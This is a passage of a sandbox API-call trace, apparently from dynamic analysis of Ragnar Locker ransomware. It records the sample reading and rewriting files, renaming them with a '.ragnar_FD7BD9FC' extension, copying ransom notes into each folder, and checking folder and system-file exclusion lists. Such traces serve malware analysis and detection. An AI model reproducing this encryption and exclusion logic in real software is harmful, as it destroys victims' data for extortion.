(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its")) returned 0x20 [0077.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0077.679] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=943322) returned 1 [0077.679] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xe64d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.679] GetProcessHeap () returned 0x580000 [0077.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.679] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.682] VirtualAlloc (lpAddress=0x0, dwSize=0xe64da, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0077.682] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.682] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.682] ReadFile (in: hFile=0x108, lpBuffer=0x22c0000, nNumberOfBytesToRead=0xe64da, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1ea45c*=0xe64da, lpOverlapped=0x0) returned 1 [0077.700] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.705] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe64da, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.705] WriteFile (in: hFile=0x108, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0xe64da, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1ea458*=0xe64da, lpOverlapped=0x0) returned 1 [0077.708] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe64da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.708] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.712] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xe64da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.712] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.712] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.712] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.712] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.712] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.712] GetProcessHeap () returned 0x580000 [0077.712] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.712] CloseHandle (hObject=0x108) returned 1 [0077.713] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" [0077.713] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.ragnar_FD7BD9FC" [0077.713] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8089fc60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.713] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.713] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.713] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.713] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8089fc60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0077.713] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.713] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0077.713] lstrcmpiW (lpString1="ESEN", lpString2=".") returned 1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="..") returned 1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Windows") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Windows.old") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Tor browser") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Internet Explorer") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Google") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Opera") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Opera Software") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Mozilla") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="Mozilla Firefox") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="$Recycle.Bin") returned 1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="ProgramData") returned -1 [0077.714] lstrcmpiW (lpString1="ESEN", lpString2="All Users") returned 1 [0077.714] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.714] lstrcpyW (in: lpString1=0x1eb638, lpString2="ESEN" | out: lpString1="ESEN") returned="ESEN" [0077.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" [0077.714] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\" [0077.714] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\RGNR_FD7BD9FC.txt" [0077.714] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.716] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*" [0077.716] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.716] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.716] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80912080, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80912080, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.716] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.716] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80912080, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80912080, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.716] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.716] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.716] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0077.716] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2=".") returned 1 [0077.716] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="..") returned 1 [0077.716] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0077.716] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2=".") returned 1 [0077.716] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="..") returned 1 [0077.716] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80912080, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80912080, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.716] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.716] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.716] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0077.716] lstrcmpiW (lpString1="WT61ES.LEX", lpString2=".") returned 1 [0077.717] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="..") returned 1 [0077.717] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0077.717] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80912080, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80912080, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.717] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80912080, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80912080, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.717] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0077.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.717] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSB1ESEN.DLL" | out: lpString1="MSB1ESEN.DLL") returned="MSB1ESEN.DLL" [0077.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL") returned=".DLL" [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="autorun.inf") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="boot.ini") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="bootfont.bin") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="bootsect.bak") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="bootmgr") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="bootmgr.efi") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="bootmgfw.efi") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="desktop.ini") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="iconcache.db") returned 1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="ntldr") returned -1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="ntuser.dat") returned -1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="ntuser.dat.log") returned -1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="ntuser.ini") returned -1 [0077.717] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="thumbs.db") returned -1 [0077.717] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0077.717] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0077.717] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0077.717] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0077.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.717] lstrcpyW (in: lpString1=0x1eab6a, lpString2="MSB1ESEN.ITS" | out: lpString1="MSB1ESEN.ITS") returned="MSB1ESEN.ITS" [0077.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS") returned=".ITS" [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="autorun.inf") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="boot.ini") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="bootfont.bin") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="bootsect.bak") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="bootmgr") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="bootmgr.efi") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="bootmgfw.efi") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="desktop.ini") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="iconcache.db") returned 1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="ntldr") returned -1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="ntuser.dat") returned -1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="ntuser.dat.log") returned -1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="ntuser.ini") returned -1 [0077.718] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="thumbs.db") returned -1 [0077.718] lstrcmpiW (lpString1=".ITS", lpString2=".db") returned 1 [0077.718] lstrcmpiW (lpString1=".ITS", lpString2=".sys") returned -1 [0077.718] lstrcmpiW (lpString1=".ITS", lpString2=".dll") returned 1 [0077.718] lstrcmpiW (lpString1=".ITS", lpString2=".lnk") returned -1 [0077.718] lstrcmpiW (lpString1=".ITS", lpString2=".msi") returned -1 [0077.718] lstrcmpiW (lpString1=".ITS", lpString2=".drv") returned 1 [0077.718] lstrcmpiW (lpString1=".ITS", lpString2=".exe") returned 1 [0077.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its")) returned 0x20 [0077.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.718] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1046514) returned 1 [0077.718] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xff7e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.718] GetProcessHeap () returned 0x580000 [0077.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.719] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.723] VirtualAlloc (lpAddress=0x0, dwSize=0xff7f2, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0077.723] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.723] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.723] ReadFile (in: hFile=0x100, lpBuffer=0x22c0000, nNumberOfBytesToRead=0xff7f2, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1ea45c*=0xff7f2, lpOverlapped=0x0) returned 1 [0077.745] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.750] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xff7f2, 